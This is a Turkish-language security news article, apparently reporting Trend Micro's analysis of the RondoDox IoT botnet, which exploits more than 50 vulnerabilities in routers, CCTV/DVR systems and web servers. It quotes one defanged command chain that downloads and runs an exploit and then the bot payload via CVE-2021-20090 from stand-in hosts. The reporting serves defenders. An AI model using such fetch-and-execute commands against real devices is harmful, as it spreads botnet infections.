RondoDox Botnet, Yönlendiricilere, CCTV Sistemlerine ve Web Sunucularına Saldırmak İçin 50’den Fazla Güvenlik Açıkından Yararlanıyor

RondoDox, 2025’in başlarında ortaya çıkışından bu yana, tüketici yönlendiricilerinden kurumsal CCTV sistemlerine ve web sunucularına kadar çok çeşitli ağa bağlı cihazları hedef alarak hızla faaliyetteki en yaygın IoT odaklı botnet’lerden biri haline geldi.

Modüler tasarımı, operatörlerin 50’den fazla farklı güvenlik açığına karşı özel yararlanma modüllerini devreye almasına olanak tanıyarak farklı platformların hızla tehlikeye atılmasına olanak tanır.

Pek çok saldırı kampanyasında, saldırganlar açıkta kalan cihazları tespit etmek için otomatik taramadan yararlandı ve bunu hızlı bir şekilde yararlanma ve komuta-kontrol kaydı izledi.

Trend Micro araştırmacıları, birden fazla bölgedeki güvenliği ihlal edilmiş DVR cihazlarından kaynaklanan anormal trafik modellerini gözlemledikten sonra Nisan 2025’te RondoDox’u tespit etti.

Sonraki analiz, Go’da yazılmış, platformlar arası dağıtımı ve verimli ikili boyutu kolaylaştıran bir çekirdek motoru ortaya çıkardı.

Botnet’in komut protokolleri şifreli iletişimi destekleyerek ağ izleme altında bile gizli C2 değişimlerini garanti eder.

Başarılı bir şekilde yararlanmanın ardından RondoDox, cihazın yeniden başlatılmasından ve cihaz yazılımı güncellemelerinden etkilenmeyecek şekilde tasarlanmış hafif bir kalıcılık aracısını devreye alır.

Bu aracı, yeni veriler veya komutlar için C2 sunucularını periyodik olarak yoklarken, kendi kendini onarma rutinleri, kaldırılmışsa bileşenleri yeniden yükler.

Enfeksiyonlar sıklıkla cihazın büyük ölçekli DDoS saldırılarına katılmasıyla veya sonraki tehdit operasyonları için gizli proxy sunuculuğuyla sonuçlanır.

Enfeksiyon Mekanizması

RondoDox’un bulaşma zinciri genellikle, kötü amaçlı yazılımın tarama modülünün cihazları açık Telnet (port 23), SSH (port 22) ve HTTP yönetim arayüzleri için araştırdığı bir keşif aşamasıyla başlar.

Bir hedef belirlendikten sonra, kapsamlı veri havuzundan alınan uygun yararlanma yükü teslim edilir.

Örneğin, bir modülde tarayıcı, bir kabuk yükünü yürütmek için CVE-2021-20090 yönlendirici kimlik doğrulama bypassını kullanır: –

wget http[:]//malicious.example/exploit; chmod +x exploit
./ exploit - u admin - p '' - c ' wget http[:]//cdn[.]example/rondox && chmod +x rondox && ./ rondox'

İlk kod yürütülmesinden sonra veri, trafiğini meşru HTTPS olarak gizleyerek 443 numaralı bağlantı noktasında C2’ye şifrelenmiş bir TLS kanalı kurar.

Trend Micro analistleri, bu şifreleme planının özel bir sertifika paketine dayandığını ve bunun da müdahale ve inceleme çabalarını karmaşık hale getirdiğini belirtti.

İletişim kurulduktan sonra bot, ağ tarayıcıları veya DDoS araçları gibi ek modülleri talep eder ve doğrudan belleğe yükler.

Çok aşamalı enfeksiyon akışı, keşiften sömürüye ve kalıcılığa geçişi vurguluyor.

RondoDox güvenlik açığının zaman çizelgesi (Kaynak – Trend Micro)

Bulaşma mekanizmasını takiben RondoDox, Linux tabanlı DVR’lerdeki crontab girişleri veya belirli yönlendirici modellerindeki donanım yazılımı görüntüsü değişikliği gibi cihaza özgü kalıcılık tekniklerinden yararlanarak operasyonun devam etmesini sağlar.

Uyarlanabilirliği ve geniş istismar kitaplığı, bu gelişen tehdidi azaltmak için yama yönetimi ve ağ bölümlendirmesine olan acil ihtiyacın altını çiziyor.

Aşağıdaki tablo, CVE tanımlayıcıları, etkilenen ürünler, etki derecelendirmeleri, gerekli yararlanma önkoşulları ve CVSS 3.1 puanları da dahil olmak üzere RondoDox tarafından şu anda istismar edilen 50’den fazla güvenlik açığına ilişkin ayrıntılı bir genel bakış sunmaktadır.

Daha Fazla Anında Güncelleme Almak için Bizi Google Haberler, LinkedIn ve X’te Takip Edin, CSN’yi Google’da Tercih Edilen Kaynak olarak ayarlayın.